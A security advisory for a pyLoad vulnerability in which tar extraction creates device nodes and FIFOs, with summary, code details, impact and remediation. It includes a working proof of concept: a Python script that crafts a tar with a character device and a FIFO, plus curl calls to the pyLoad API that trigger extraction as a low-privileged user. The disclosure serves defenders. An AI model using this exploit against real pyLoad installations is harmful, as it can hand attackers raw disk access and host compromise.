CVE-2026-123815: pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
Summary
UnTar.safeextractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fullytrusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extractpackage).
Details
python plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not iswithindirectory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numericowner=numericowner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.
PoC
bash BASE=http://127.0.0.1:8100 craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it .bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF
as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, then trigger extraction curl -s -X POST "$BASE/api/addpackage" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/servicecall" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"servicename":"ExtractArchive.extractpackage","arguments":["<pid>"]}'
ls -l <extract dir> → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) → prw-r--r-- 1 root root pipe (FIFO created) → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In safeextractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Other sources
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar.safeextractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fullytrusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 0.5.0b3.dev102 - Configuration
In _safe_extractall, use tarfile.extractall with filter="data" on Python >= 3.12, backport the check for older runtimes, and reject or skip every member that is not a regular file or directory, including members where member.isdev() or member.isfifo() is true.
pyLoad UnTar tar extraction tarfile extraction filter and member-type validation = filter="data"; reject or skip non-regular-file and non-directory members